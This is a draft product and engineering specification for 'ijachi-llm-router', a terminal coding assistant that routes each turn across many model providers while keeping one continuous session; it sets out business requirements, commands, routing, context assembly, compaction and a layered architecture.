ijachi-llm-router: Product & Engineering Documentation Suite

Version 1.0 (draft) · October 14, 2026 · Owner: ijachi

How to use this suite

This suite defines what ijachi-llm-router must do as a terminal coding assistant that behaves like Claude Code, while routing every turn to the cheapest model that can do the job well and never losing the thread of the session. It covers the business case, functional requirements, the session-continuity design, architecture, security, terminal UI/UX, and the test plan that proves the app works.

Two honest caveats. First, this suite was written from the README only; the source code has not been reviewed. Second, because the app is reported as 'not working properly', every requirement here is written to be testable. Use them as an audit checklist against the current build: each failing requirement is a bug or a missing feature. Items marked **[VERIFY]** are hypotheses about likely root causes that should be confirmed in code.

The product name, command names (`ijachi-router` , `ijr` , `ijachi-code`) and branding are unchanged throughout.

Document map

1. Business Requirements Document (BRD)
2. Product Requirements and Functional Specification
3. Session and Context Continuity Design (the core differentiator)
4. Architecture and Technical Design
5. Security, Privacy and Threat Model
6. Terminal UI/UX Specification
7. Quality, Test and Acceptance Plan
8. Operations, Release and README Remediation

Requirement ID conventions

- BR-xx: business requirement
- FR-xx: functional requirement
- SC-xx: session/context requirement
- SEC-xx: security requirement
- UX-xx: UI/UX requirement

- NFR-xx: non-functional requirement
- Priority: **M** = must have for v1.0, **S** = should have, **C** = could have

---

Document 1: Business Requirements Document (BRD)

1.1 Executive summary

Developers who use agentic terminal assistants such as Claude Code pay premium-model prices for every turn, including trivial ones like 'what does this flag do?' or 'rename this variable'. They are also locked to one vendor: when that provider has an outage or a rate limit, work stops.

ijachi-llm-router is a terminal-first coding assistant with the same core experience (an interactive session that reads and edits files, runs commands and tests, and asks permission for risky actions), but with two additions that existing tools do not combine well:

1. **Cost-aware multi-model routing.** Each turn is sent to the cheapest model that can handle it well, across 20 providers, with automatic fallback.
2. **Session continuity across models.** The conversation, file state and decisions belong to the session, not to a model. Switching models mid-session must never make the assistant forget what was said, what was changed, or what was decided.

The business goal is a free community edition that earns trust and adoption, and a paid Pro and Enterprise tier that funds development.

1.2 Problem statement

Problem	Who feels it	Consequence today
One premium model for every turn	Individual devs, small teams	Cost grows linearly with usage, mostly wasted on easy turns
Single-vendor dependency	Anyone using agentic tools	Outages and rate limits stop work
Stateless prompt routers	Anyone who has tried a router	Switching models loses context, so answers get worse, which defeats the savings

Problem	Who feels it	Consequence today
No cost visibility in the terminal	Budget owners	Surprise bills, no per-session accounting
Weak or hard-to-trust agent safety	Everyone	Fear of an agent running destructive commands

The current build is reported to misbehave. The most likely structural cause is that routing was designed as a one-shot function (`route(prompt)`) rather than as a session engine. A coding assistant is stateful by nature; the router must be built around the session. **[VERIFY]**

1.3 Vision and positioning

Vision: the terminal coding assistant that is as capable as Claude Code and meaningfully cheaper, because it spends premium-model tokens only where they matter.

Positioning statement: For developers who live in the terminal, ijachi-llm-router is an agentic coding assistant that routes each request to the cheapest suitable model while keeping one continuous, coherent session. Unlike single-vendor assistants it does not lock you to one provider or one price point, and unlike simple routers it does not forget your context when it switches models.

'Like Claude Code, but better' means, concretely:

- Equivalent core workflow: interactive REPL, one-shot mode, file read/edit, shell execution, permission prompts, slash commands, project memory file, resumable sessions.
- Better on cost: visible per-turn and per-session spend, budget caps, cheapest-adequate routing.
- Better on resilience: provider fallback with no loss of session state.
- Better on transparency: every routing decision is explainable with `/why` .
- Better on control: the user can pin a model, set priority, or override any decision at any time.

1.4 Objectives and success metrics

ID	Objective	Metric	Target for v1.0
OBJ-1	Reduce spend	Cost vs always using the strongest configured model, on the benchmark suite (Doc 7)	At least 40% lower
OBJ-2	Preserve quality	Task success rate vs always-strongest baseline	At least 95% of baseline
OBJ-3	Continuity	Context-recall eval after a forced model switch (Doc 3)	At least 98% of established facts recalled
OBJ-4	Resilience	Turns completed when the primary provider is down (fault-injection test)	100% when at least one other provider is configured
OBJ-5	Responsiveness	Routing overhead before the first model request	p95 under 150 ms
OBJ-6	Trust	Destructive actions executed without user approval	Zero
OBJ-7	Adoption	Successful first routed prompt within 5 minutes of install (usability test)	At least 90% of testers

1.5 Scope

In scope for v1.0

- Terminal application (macOS, Linux, Windows via WSL and native PowerShell) with interactive REPL, one-shot and non-interactive (CI) modes.
- Agent loop with file, search and shell tools and a permission system.
- Router: session-aware classification, scoring, cost caps, priority modes, escalation and de-escalation.
- Session engine: canonical transcript, context assembly per model, compaction, handoff, persistence and resume.
- Provider layer: 20 providers, normalized messages and tool calls, fallback and circuit breaker.
- Cost and usage tracking, budgets, `stats`.

- Security controls (Doc 5), terminal UX (Doc 6), tests (Doc 7).
- Python SDK exposing the same session engine.
- Pro features: REST gateway, web dashboard, webhook budget alerts.

Out of scope for v1.0

- A graphical IDE plugin or desktop GUI (the terminal is the product).
- Training or fine-tuning of the models themselves.
- Hosting model inference (local models are supported through Ollama and custom servers, not hosted by us).
- Multi-user real-time collaboration inside one session.
- Mobile apps.

1.6 Stakeholders and personas

Stakeholder	Interest
Product owner (ijachi)	Adoption, revenue, brand credibility
Community users	A free tool that works, is safe, and is cheap
Pro subscribers	Gateway, dashboard, budget alerts
Enterprise buyers	Compliance, SLAs, embedding rights, auditability
Contributors	Clear architecture and extension points
Provider vendors	Correct and respectful API usage

Persona A: Ada, solo developer. Pays out of pocket. Wants a daily driver that costs a few dollars a month. Cares most about cost visibility and not being locked in.

Persona B: Tunde, startup engineer. Uses the tool inside CI and on a shared team budget. Cares about budget caps, the GitHub Action, and predictable behavior.

Persona C: Ngozi, enterprise security lead. Must approve the tool. Cares about data flow, secrets handling, audit logs, provider allow-lists, and zero-retention options.

1.7 Business requirements

ID	Requirement	Priority
BR-01	The product shall provide an interactive terminal session whose core workflow matches Claude Code (chat, read/edit files, run commands, approve actions, resume sessions).	M
BR-02	The product shall select a model per turn using the cheapest model judged adequate for that turn, within user-set constraints.	M
BR-03	The product shall maintain one continuous session across model switches with no user-visible loss of context.	M
BR-04	The product shall continue working when any single provider fails, provided another eligible provider is configured.	M
BR-05	The product shall show cost and latency per turn and per session, and enforce user-defined budgets.	M
BR-06	The product shall never perform destructive or out-of-workspace actions without explicit user approval.	M
BR-07	The product shall keep user code, prompts and secrets under user control, with documented data flows.	M
BR-08	The product shall let users add models and providers without changing core code.	S
BR-09	The product shall offer a free Community Edition and a paid Pro and Enterprise offering with clearly separated features.	M
BR-10	The product shall be installable and productive in under 5 minutes, including a zero-cost local-model path.	M
BR-11	The product shall explain every routing decision on request.	S

ID	Requirement	Priority
BR-12	The product shall run non-interactively for CI, scripts and the GitHub Action with machine-readable output.	S
BR-13	The documentation shall be accurate, consistent and verified against the shipped build.	M

1.8 Assumptions, constraints and dependencies

Assumptions

- Users bring their own provider API keys (or run local models).
- At least one provider that supports tool use is configured for agent mode. Providers without tool use can serve plain chat turns only.
- Provider prices and model IDs change often, so the catalog must be updatable and dated.

Constraints

- Terminal only; must work over SSH and in CI with no TTY.
- Python package distribution (pip) with minimal required dependencies.
- Every provider has different message, tool-call and streaming formats; normalization is mandatory, not optional.

Dependencies

- Third-party provider APIs and their terms of service.
- Ollama or a custom OpenAI-compatible server for the zero-cost path.
- Remote model registry for `update-catalog` (must be optional and verified).
- Paystack (or equivalent) for Pro billing and license issuance.

1.9 Risks

ID	Risk	Likelihood	Impact	Mitigation
R-01	Misrouting a hard turn to a weak model produces wrong code	High	High	Session-aware routing, escalation on failure, quality floor for agent turns, user override

ID	Risk	Likelihood	Impact	Mitigation
R-02	Context loss on model switch	High	High	Canonical session store, per-model context assembly, continuity evals (Doc 3)
R-03	Provider tool-call formats break mid-loop on fallback	High	High	Normalized internal tool schema, adapters per provider, fallback only at safe boundaries
R-04	Agent runs a destructive command	Medium	Critical	Permission system, sandboxing, command classification, checkpoints (Doc 5)
R-05	Prompt injection through files or web content	Medium	High	Treat tool output as untrusted data, never as instructions; confirmation on sensitive actions
R-06	Small classifier training set (about 140 rows) generalizes poorly	High	Medium	Larger labeled set, session features, confidence thresholds, escalation path
R-07	Stale prices and model IDs	High	Medium	Dated catalog, signed updates, health check of model IDs on startup
R-08	Free license can be bypassed to unlock Pro	High	Medium	Separate private Pro package or hosted service (see 1.10)
R-09	Secrets leak to logs or to the wrong provider	Medium	Critical	Redaction, provider allow-lists, no prompt text in logs by default
R-10	Documentation drifts from behavior again	High	Medium	Docs checked in CI, README examples tested (Doc 8)

1.10 Commercial model and licensing

The README describes an open-core model with an MIT community edition, a $19 per month Pro tier, and a separate enterprise commercial license. Two issues need a decision before launch:

1. **MIT plus a 'commercial license for proprietary use' is contradictory.** MIT already permits proprietary use, so there is nothing for the commercial license to unlock. Options: keep MIT and sell only hosted services, support and Pro features; or move the core to a copyleft license such as AGPL so that a commercial license has real value. This needs a lawyer's review; this document does not constitute legal advice.
2. **Pro gating inside an MIT repository is trivially removable.** Keep Pro code (gateway, dashboard, alerts) in a separate private package or run it as a hosted service, and keep license verification server-side or signed.

Tier	Includes	Price (from README)
Community	CLI, SDK, REPL, agent, router, session engine, local stats	Free
Pro	REST gateway, web dashboard, webhook budget alerts	$19 per month
Enterprise	Embedding rights, white-label, SLAs, support, audit features	Contact sales

Rule: core terminal functionality, safety features and session continuity must never be paywalled, because they define whether the product works.

1.11 Release criteria: what 'works perfectly' means

Version 1.0 ships only when all of the following hold:

- Every **M** requirement in Documents 1 to 6 passes its acceptance test in Document 7.
- The benchmark suite meets OBJ-1 to OBJ-5 on at least three provider combinations.
- The security checklist in Document 5 is complete, with an external review of the permission system and shell sandbox.
- A new user completes the quickstart in under 5 minutes on macOS, Linux and Windows.
- Every command and example in the README is executed by CI and passes.

Document 2: Product Requirements and Functional Specification

2.1 Product shape and command surface

The README mixes two products under similar names. This spec separates them clearly while keeping every existing command name.

Command	Role
`ijachi-code`	**The product.** The Claude Code-style terminal assistant. Running it with no arguments opens the interactive session (REPL).
`ijachi-router` (alias `ijr`)	The routing and administration utility: one-shot routing, stats, providers, catalog, classifier training, server, dashboard, license.
`gh router`	GitHub CLI extension wrapping `ijachi-router`.

`ijachi-code` invocations

Invocation	Behavior	Priority
`ijachi-code`	Start an interactive session in the current directory (same as `chat`).	M
`ijachi-code "prompt"`	Start an interactive session seeded with the prompt.	M
`ijachi-code -p "prompt"`	Print mode: run to completion non-interactively, print the final answer, exit. Reads stdin when piped.	M
`ijachi-code agent "task"`	Autonomous multi-step task with the agent loop and permission policy.	M
`ijachi-code chat`	Explicit alias for the interactive session.	M
`ijachi-code fix --command "pytest"`	Test-repair loop (see 2.6).	S
`ijachi-code consensus "task"`	Two-model peer review and synthesis (see 2.6).	C

Invocation	Behavior	Priority
`ijachi-code index`	Build the workspace symbol index (see 2.6).	S
`ijachi-code commit`	Checkpoint and generate a conventional commit message (see 2.6).	S
`ijachi-code --continue`	Resume the most recent session for this directory.	M
`ijachi-code --resume [id]`	Pick or name a session to resume.	M

Global flags

`--priority {cost,speed,quality,balanced}` · `--max-cost USD` (per turn) · `--budget USD` (per session) · `--model ID` (pin a model for the whole session) · `--allow-providers a,b` / `--deny-providers a,b` · `--permission-mode {ask,accept-edits,plan,auto-safe}` · `--cwd PATH` · `--json` (machine-readable events) · `--no-color` · `--max-turns N` · `--timeout SEC` · `--verbose` · `--version`.

2.2 Slash commands (interactive session)

Command	Function	Priority
`/help`	List commands and shortcuts	M
`/model [id|auto]`	Show, pin or unpin the model; `auto` returns control to the router	M
`/priority [cost|speed|quality|balanced]`	Change routing priority mid-session	M
`/budget [USD]`	Show or set the session budget	M
`/cost`	Spend, tokens, cache savings, per-model breakdown for this session	M
`/why`	Explain the routing decision for the last turn (category, confidence, candidates, scores, reason chosen)	M
`/context`	Show context window usage by layer (system, memory, summary, recent turns, tool results, files)	M

Command	Function	Priority
`/compact [focus]`	Compact the conversation now, optionally focusing the summary	M
`/clear`	Start a fresh session (old one stays resumable)	M
`/resume`, `/sessions`	Browse and resume sessions	M
`/undo`	Revert the last file change set to its checkpoint	M
`/checkpoint [name]`	Create a named checkpoint	S
`/diff`	Show all uncommitted changes made in this session	S
`/permissions`	View and edit allow/deny rules	M
`/memory`	Open the project memory file in `$EDITOR`	S
`/init`	Analyze the repository and draft the project memory file	S
`/providers`	Show detected providers, health and circuit-breaker state	M
`/config`	View and edit settings	S
`/doctor`	Run diagnostics (keys, network, catalog, classifier, terminal capabilities)	M
`/exit`, `Ctrl-D`	Leave the session and print the cost summary	M

2.3 Agent loop requirements

The session runs this loop for every user message:

1. Append the user event to the session transcript.
2. **Assemble context** for the candidate model (Document 3).
3. **Route** the turn (2.4) and display the chosen model.
4. Stream the model response to the terminal.

5. If the model requests tool calls, validate each one, apply the permission policy (Document 5), execute approved calls, append results, and return to step 2 without asking the user.
6. Stop when the model returns a final answer, a limit is hit (max turns, budget, timeout), or the user interrupts.
7. Print the turn footer (model, tokens, cost, latency).

ID	Requirement	Priority
FR-01	The tool set shall include: `Read`, `Edit` (exact-match or diff-based), `Write`, `Glob`, `Grep`, `ListDir`, `Bash`, and `Plan/Todo`. `WebFetch` and `WebSearch` shall exist but be off by default.	M
FR-02	Every tool call shall be validated against a JSON schema before execution; malformed calls shall be returned to the model as an error, not executed.	M
FR-03	File edits shall be atomic, shall fail if the file changed since it was last read, and shall create a checkpoint before the first write of each turn.	M
FR-04	`Bash` shall run with a timeout, output cap, working directory pinned to the workspace, and a scrubbed environment (Document 5).	M
FR-05	Long tool output shall be stored in full on disk and truncated in context with a reference the model can use to read more.	M
FR-06	`Ctrl-C` once shall cancel the current model stream or running command and return to the prompt without losing the session; twice within one second shall exit.	M
FR-07	The loop shall enforce limits: max tool iterations per user message (default 50), per-turn and per-session cost caps, and a wall-clock timeout. A limit hit shall be reported clearly, never silently.	M
FR-08	The loop shall detect repetition (same tool call and result three times) and stop with a diagnostic, optionally escalating to a stronger model first.	S

ID	Requirement	Priority
FR-09	Parallel tool calls shall be supported where the provider emits them, executed in a safe order (reads in parallel, writes serialized).	S
FR-10	The agent shall read the project memory file (`IJACHI.md`) at session start and on change, from user, project root and subdirectory levels.	M

2.4 Routing requirements

ID	Requirement	Priority
FR-20	Routing shall run per model request, using the prompt **and** session state: recent categories, whether tool results are pending, files in play, prior failures, current model, and remaining budget. A prompt like 'fix it' is only routable with session state.	M
FR-21	The classifier shall output category, confidence and complexity. Categories shall include at least: code, code-edit/refactor, debugging, math, reasoning, creative, summarization, long-context, simple-qa.	M
FR-22	Candidate filtering shall run before scoring and remove any model that lacks a required capability (tool use, vision, sufficient context window for the assembled context), is denied by policy, is open-circuited, or exceeds the cost cap.	M
FR-23	Scoring shall combine category fit, complexity fit, priority weights, expected cost for the assembled context (input and output), latency tier, observed provider health, and a stickiness bonus for the current model (Document 3).	M
FR-24	Agent turns (those with tools) shall have a quality floor: models below a configurable tier shall not drive file edits or shell commands unless the user pinned them.	M

ID	Requirement	Priority
FR-25	If classifier confidence is below the threshold (default 0.6), routing shall fall back to the balanced default model, not to the cheapest.	M
FR-26	Escalation shall trigger on: two consecutive tool errors, a failing test after an edit attempt twice, user retry or negative feedback, loop detection, or malformed output. De-escalation shall occur after a configurable run of successful easy turns.	M
FR-27	Fallback shall try the next ranked candidate on provider error, rate limit, timeout or empty output, and shall preserve the session exactly (Document 3, SC-08).	M
FR-28	The circuit breaker shall open after N consecutive failures (default 3) for a cool-down period (default 60 s), then allow one probe request. State shall be visible in `/providers`.	M
FR-29	`/why` and `--json` output shall record every routing decision: inputs, candidates, scores, filters applied, chosen model, reason.	M
FR-30	A pinned model (`--model` or `/model id`) shall be honored for every turn; if it fails, the user shall be asked whether to fall back rather than silently switching.	M
FR-31	Cost estimates shall use token counts of the assembled context, not the raw prompt length.	M
FR-32	The classifier shall be retrainable, versioned, and evaluated on a held-out set with a published accuracy report; the app shall refuse to load a classifier file that fails its checksum.	S

2.5 Project memory and configuration

Project memory file. `IJACHI.md` holds instructions and facts for the assistant: build and test commands, style rules, architecture notes. It is loaded from, in order: `~/.ijachi-llmr/IJACHI.md` (user), the repository root, and the current subdirectory. The more specific file wins on conflict. `/init` drafts one; `/memory` edits it.

Configuration precedence (highest first): CLI flags, environment variables, project config (`.ijachi/config.yaml`), user config (`~/.ijachi-llmr/config.yaml`), built-in defaults. The existing `~/.ijachi-llmr/` home directory is kept for backward compatibility.

Key settings: default priority, per-turn and session budgets, allow/deny provider lists, permission rules, escalation thresholds, stickiness strength, compaction thresholds, telemetry, log level, theme, key bindings.

2.6 Specialized workflows

Test-repair loop (`fix`). Run the given command; if it fails, capture and truncate the output; ask the agent to diagnose and propose an edit; apply edits under the normal permission policy; re-run. Stop at success, after N attempts (default 5), at the budget, or when no progress is detected (identical failure twice). Always end with a summary and a diff, and never run the command more than N times.

Consensus (`consensus`). Send the same task to two models from different providers, ask a third (or the stronger of the two) to compare and synthesize, and show both candidate answers plus the synthesis with total cost. Consensus is for design and review questions; it shall not apply edits without the standard approval flow. Both models receive the same assembled context.

Symbol index (`index`). Scan the workspace respecting `.gitignore`, store symbols (name, kind, file, line) in `.ijachi/symbols.json` with a content hash per file, update incrementally, and expose a `Symbols` tool to the agent. Never index files matching the secrets deny-list.

Commit (`commit`). Show the staged diff, create a checkpoint, generate a conventional commit message, and let the user edit and confirm. Never push, never amend published commits, never skip hooks unless explicitly told.

2.7 Non-interactive and CI behavior

- Print mode (`-p`) and `--json` shall produce no spinners or color when stdout is not a TTY.
- Exit codes: `0` success, `1` task failed, `2` usage error, `3` configuration or provider error, `4` budget or limit exceeded, `5` permission denied, `130` interrupted.
- With no TTY, any action that needs approval and is not pre-authorized shall be denied, never auto-approved.
- The GitHub Action shall map its inputs to these flags and expose outputs `response`, `model`, `cost_usd`, `latency_sec`.

Document 3: Session and Context Continuity Design

This is the core differentiator and the most probable source of today's defects. A router that sends each prompt in isolation to different models cannot behave like a coding assistant, because a coding assistant's value lies in remembering the conversation, the files and the decisions.

3.1 Design principle

The session owns the state. Models are interchangeable, stateless workers. Nothing important is stored only inside a provider's conversation. Every model call receives a context freshly assembled from the session's canonical records, shaped for that model.

3.2 What the session stores

Component	Contents	Used for
Event log	Append-only, provider-neutral record of every user message, assistant message, tool call, tool result, routing decision, error and cost	Source of truth, replay, audit
Rolling summary	Structured summary of everything older than the recent window	Fits long sessions into small windows
Facts and decisions ledger	Short pinned entries: user constraints, chosen approaches, names, versions, rejected options	Never lost in compaction
Working set	Files read or changed, with content hashes and last-seen versions	Detect stale reads, rebuild file context
Plan and todos	Current goal, steps, status	Keeps multi-step work coherent
Tool result store	Full tool outputs on disk, referenced by ID	Truncate in context, retrieve on demand
Checkpoints	File snapshots or git stashes before edits	`/undo`, safety

Component	Contents	Used for
Cost ledger	Tokens and USD per event and per model	Budgets, `/cost`
Routing log	Every decision with inputs and scores	`/why`, tuning

3.3 Canonical event schema

Events are versioned and independent of any provider format.

```
event:
  schema: 1
  id: evt_000123
  session_id: ses_8f2c
  ts: 2026-10-14T09:12:31Z
  type: assistant_message   # user_message | assistant_message | tool_call | tool_result | route | error | compaction | checkpoint
  turn: 17
  model: {provider: anthropic, id: claude-haiku-4-5}
  content: [{kind: text, text: ...}]
  tool_call: {id: call_9, name: Edit, args: {path: src/app.py, ...}}
  usage: {input_tokens: 5120, output_tokens: 310, cache_read: 4800, cost_usd: 0.0031}
  latency_ms: 840
  committed: true
```

Only events with `committed: true` are replayed to a model. A partial stream from a failed provider is never committed.

3.4 Context assembly (per model request)

1. Determine the candidate model's window `W` and reserve output space `O`. Usable input budget `B = 0.75 × W − O` (the 25 percent margin absorbs tokenizer differences).
2. Build layers in priority order: (1) system prompt: common core plus a provider overlay, (2) tool definitions in the provider's native format, (3) project memory, (4) facts and decisions ledger, (5) current plan, (6) rolling summary, (7) recent turns verbatim, newest first, (8) retrieved tool results and file snippets relevant to the current turn, (9) the new user message.

3. Count tokens with the provider's tokenizer where available, otherwise a conservative estimator.
4. If the total exceeds `B`, shrink in this order: drop low-relevance retrieved results, truncate older tool results to headers, shorten recent turns from the oldest end, and finally trigger compaction. Layers 1 to 5 and 9 are never dropped.
5. Emit the request in the provider's native format using its adapter.

A model with a small window is simply a candidate with a smaller `B`. If the minimum viable context (layers 1 to 5 plus 9) does not fit, that model is filtered out in routing (FR-22).

3.5 Compaction

- **Triggers:** context above 80% of the smallest window among eligible candidates; a switch to a smaller-window model; `/compact`; session resume of a very long session.
- **Method:** a cheap, reliable model produces a structured summary with fixed sections: goal, decisions and reasons, constraints and preferences, files changed and why, commands run and outcomes, errors and fixes, open tasks, unresolved questions.
- **Safety:** the full event log is never deleted. Facts in the ledger are copied verbatim into the new context. After compaction a verification pass checks that every ledger entry and every file-change record is represented; if not, the summary is regenerated.
- **Visibility:** the UI shows 'Compacted N turns into summary' and `/context` shows the new layout.

3.6 Model switching rules

Switching has a cost: the new model has no prompt cache, must re-read the context, and may behave differently. The router therefore treats switching as a decision, not a default.

- **Stickiness.** The current model receives a score bonus that grows with the number of tokens already cached. A switch happens only if the expected saving (or required quality gain) exceeds the switch penalty.
- **Atomic tool chains.** Do not switch models in the middle of a tool-use chain unless the current model fails or the escalation rules fire.
- **Escalation and de-escalation** follow FR-26. Escalation is immediate; de-escalation waits for a run of easy turns to avoid thrashing.
- **Handoff brief.** On a switch, the new model's context includes a neutral brief (summary, ledger, plan, last few turns). It does not tell the model it is replacing another; it simply presents the session as the shared record.
- **User visibility.** The UI shows a one-line notice on every switch with the reason, for example `switched to claude-sonnet-4-5 (two failed edits)`.

- **User control.** `/model id` pins; `/model auto` releases.

3.7 Provider normalization

- Internal message and tool schema is provider-neutral; each provider has an adapter that translates both ways, including tool-call IDs, parallel calls, system prompt placement, image parts, and stop reasons.
- Providers without tool use are marked `tool_use: false` in the catalog and are never selected for agent turns.
- **Fallback mid-turn:** if a provider fails after some output, discard the uncommitted partial output and replay from the last committed event on the next candidate. If a tool call was executed but its result was not yet committed, the result is committed first, then the turn is replayed with it. Tool calls are never executed twice.
- The catalog declares per model: `max_context`, `max_output`, `tool_use`, `parallel_tools`, `vision`, `streaming`, `cache`, tokenizer, price, speed tier, quality tier.

3.8 Prompt optimizer rules **[VERIFY]**

The optimizer (XML wrapping, chain-of-thought hints, provider system prompts) is a likely source of defects in an agent setting. Rules:

- It may only add to the system prompt and wrap the user message; it must not edit code, paths, diffs, tool schemas or tool results.
- It must be deterministic and idempotent, and disabled for tool-result turns.
- It must never inject chain-of-thought requests that cause the model to emit text inside tool arguments.
- A toggle `optimizer: off` shall exist and tests shall pass with it on and off.

3.9 Consistency of voice and behavior

A shared core system prompt defines the assistant's identity, tool etiquette, formatting rules, safety rules and the project memory. Only a short provider overlay differs. The user should not be able to tell from style that the model changed, except through the footer and switch notices.

3.10 Persistence and resume

- Location: `~/.ijachi-llmr/sessions/<session_id>/` containing `events.jsonl`, `state.json`, `tool_results/`, `checkpoints/`.

- Writes are append-only with flush after each event; state snapshots use write-to-temp then atomic rename, so a crash cannot corrupt a session.
- On resume, the app rebuilds state from the log, verifies file hashes in the working set, and warns about files changed outside the session.
- Schema versions are checked and migrated forward; unknown future versions open read-only.
- Retention is configurable (default 30 days) with `ijachi-code sessions prune`.
- Prompt and file content in logs is stored locally only and can be disabled (Document 5).

3.11 Session and context requirements

ID	Requirement	Priority
SC-01	A session shall have a single canonical event log independent of provider formats.	M
SC-02	Every model request shall be built from the session, never from a provider-held conversation.	M
SC-03	After any model switch, the assistant shall correctly use facts, decisions and file changes established earlier (measured by the continuity eval).	M
SC-04	The facts and decisions ledger shall survive compaction verbatim.	M
SC-05	Context assembly shall respect each model's window with a safety margin and shall never send a request that exceeds it.	M
SC-06	Compaction shall never delete the underlying log and shall be verifiable.	M
SC-07	Model switches shall be explainable and shall respect stickiness and atomic tool chains.	M
SC-08	Fallback shall replay from the last committed event; tool calls shall execute at most once.	M
SC-09	Sessions shall survive crashes and be resumable with file-change detection.	M
SC-10	`/context` shall show token usage per layer for the next request.	M

ID	Requirement	Priority
SC-11	The user shall be able to pin a model, and the pin shall persist across `--resume`.	S
SC-12	The system shall prevent runaway cost from switch thrashing via hysteresis and a switch-rate limit.	S
SC-13	Session state shall be exportable as Markdown or JSON for audit and sharing.	C

3.12 Continuity evaluation

Build an automated eval so continuity is measured, not assumed.

1. **Scripted sessions.** 30 scripted conversations that plant facts (a variable name, a library constraint, a rejected approach, a user preference, a file change) at known turns.
2. **Forced switches.** At turn k, force a switch across every ordered pair of models in the test matrix, including to a smaller-window model and across providers.
3. **Probes.** After the switch, ask questions whose correct answers depend on the planted facts, and tasks that require the earlier file changes.
4. **Scoring.** Recall rate for facts (target at least 98%), correctness of follow-up edits, absence of contradictions of earlier decisions, and zero re-execution of completed tool calls.
5. **Chaos run.** Randomly kill providers mid-stream and verify the session completes with committed history intact.

Document 4: Architecture and Technical Design

4.1 Layered architecture

```
+-------------------------------------------------------------+
|  UI layer: CLI parsing, REPL/TUI, renderer, prompts, themes  |
+-------------------------------------------------------------+
|  Session engine: event log, ledger, plan, checkpoints, cost  |
+-------------------------------------------------------------+
|  Agent loop: turn orchestration, limits, escalation          |
+---------------+---------------------+-----------------------+
|  Router       |  Context assembler  |  Tool runtime         |
|  features,    |  layers, tokens,    |  schemas, permissions,|
|  classifier,  |  compaction,        |  sandbox, checkpoints |
|  scorer,policy |  optimizer overlay  |                       |
+---------------+---------------------+-----------------------+
|  Provider layer: adapters, normalization, fallback, breaker  |
+-------------------------------------------------------------+
|  Providers: 20 cloud and local back ends                     |
+-------------------------------------------------------------+
   Side services: catalog and updater, metrics, config, license,
   REST gateway and dashboard (Pro), audit log
```

Dependencies point downward only. The UI never calls a provider directly; the router never executes tools; adapters never make routing decisions. This separation is what makes each part testable.

4.2 Proposed module layout

Existing modules are kept and re-homed; new modules are added for the session-centric design.

```
ijachi_router/
  cli/            code.py (ijachi-code), router.py (ijachi-router)   #
replaces root-level cli.py
  ui/             repl.py, render.py, prompts.py, themes.py, keys.py
  session/        events.py, store.py, state.py, ledger.py, checkpoints.py,
export.py
  context/        assembler.py, tokens.py, compaction.py, memory.py
  agent/          loop.py, limits.py, permissions.py, sandbox.py, tools/*.py
  routing/        features.py, classifier.py, scorer.py, policy.py,
escalation.py, explain.py
  providers/      base.py, normalize.py, <20 provider modules>, registry.py
  fallback.py     circuit breaker and fallback executor (existing)
  optimizer.py    provider overlays (existing, constrained by Doc 3.8)
  catalog/        loader.py, updater.py, schema.py, signature.py
  metrics.py      usage and cost (existing)
  config.py       layered config (existing)
  license.py      license validation (existing)
  server/         api.py, dashboard/ (Pro)
  audit.py        local audit log
```

The README lists `cli.py` at the repository root, outside the package. **[VERIFY]** That is a common packaging bug: entry points break when installed with pip. All entry points must live inside the package and be declared in `pyproject.toml`.

4.3 Core interfaces

```
class Provider(Protocol):
    name: str
    def capabilities(self, model_id: str) -> Capabilities: ...
    def count_tokens(self, request: NormalizedRequest) -> int: ...
    async def stream(self, request: NormalizedRequest) ->
AsyncIterator[StreamEvent]: ...

class Router(Protocol):
    def decide(self, state: SessionView, need: Need, ctx_size: ContextSizer)
-> Decision: ...

class ContextAssembler(Protocol):
    def build(self, session: Session, model: ModelSpec, new_input: Input) ->
NormalizedRequest: ...

class ToolRuntime(Protocol):
    def validate(self, call: ToolCall) -> ValidationResult: ...
    def authorize(self, call: ToolCall, mode: PermissionMode) ->
Authorization: ...
    async def execute(self, call: ToolCall) -> ToolResult: ...
```

`StreamEvent` types: `text_delta`, `tool_call_delta`, `tool_call_complete`, `usage`, `stop`, `error`. `Decision` carries the ranked candidate list so fallback never re-runs routing.

4.4 Data flow for one turn

1. UI receives input and emits a `user_message` event to the session.
2. The agent loop asks the router for a `Need` (category, complexity, requires tools, requires vision, expected output size) using session state.
3. The router filters and scores candidates; each candidate's context size comes from the assembler (so cost and window checks are exact).
4. The assembler builds the winning candidate's request; if it does not fit, the loop compacts and rebuilds.
5. The fallback executor streams from the top candidate; on error it applies the error taxonomy (4.6) and moves to the next candidate, replaying from the last committed event.
6. Stream events render live in the UI; on stream completion the events are committed to the log.

7. Tool calls pass validation, authorization and sandboxed execution; results are committed and the loop repeats.
8. The metrics module records usage; the routing log records the decision; the footer prints.

4.5 Concurrency and streaming

- The core runs on `asyncio`; the UI reads stream events from a queue so that rendering never blocks network I/O.
- Cancellation is cooperative: `Ctrl-C` cancels the stream task, terminates the child process group, commits a `cancelled` marker, and returns to the prompt.
- Providers without streaming are wrapped so the UI still receives events (one large `text_delta`).
- Network calls use connect and read timeouts, bounded retries with jittered backoff for transient errors (429, 5xx), and honor `Retry-After`.

4.6 Error taxonomy and handling

Error	Examples	Handling
Auth	401, 403, missing key	Mark provider unavailable for the session, tell the user once, fall back
Rate limit	429	Honor retry-after; if longer than 5 s, fall back; open breaker only after repeats
Transient server	500, 502, 503, timeouts	Retry once, then fall back; count toward breaker
Context too long	400 with context message	Recompute with a smaller budget, compact, or filter this model; never loop
Bad request from our side	Schema or format error	Log with request ID, do not fall back blindly, surface a diagnostic **[VERIFY]**
Content filter	Refusal by provider policy	Surface to the user; offer another provider only on user request
Malformed output	Invalid tool JSON, empty response	Return an error to the model once, then escalate

Error	Examples	Handling
Local	Ollama not running	Clear message with the fix, skip provider

All errors are normalized into `ProviderError(kind, retriable, provider, model, detail)` so that fallback, breaker and UI logic never parse provider-specific messages.

4.7 Extended catalog schema

```
- provider: anthropic
  model_id: claude-haiku-4-5
  display_name: Claude Haiku 4.5
  tags: [code, simple-qa, summarization]
  max_context: 200000
  max_output: 8192
  tool_use: true
  parallel_tools: true
  vision: true
  streaming: true
  prompt_cache: true
  quality_tier: 2            # 1 (basic) to 5 (frontier)
  speed_tier: fast           # fast | medium | slow
  input_per_1k: 0.001
  output_per_1k: 0.005
  cache_read_per_1k: 0.0001
  tokenizer: anthropic       # or tiktoken:o200k_base, llama, estimate
  verified_on: 2026-10-14
  deprecated: false
```

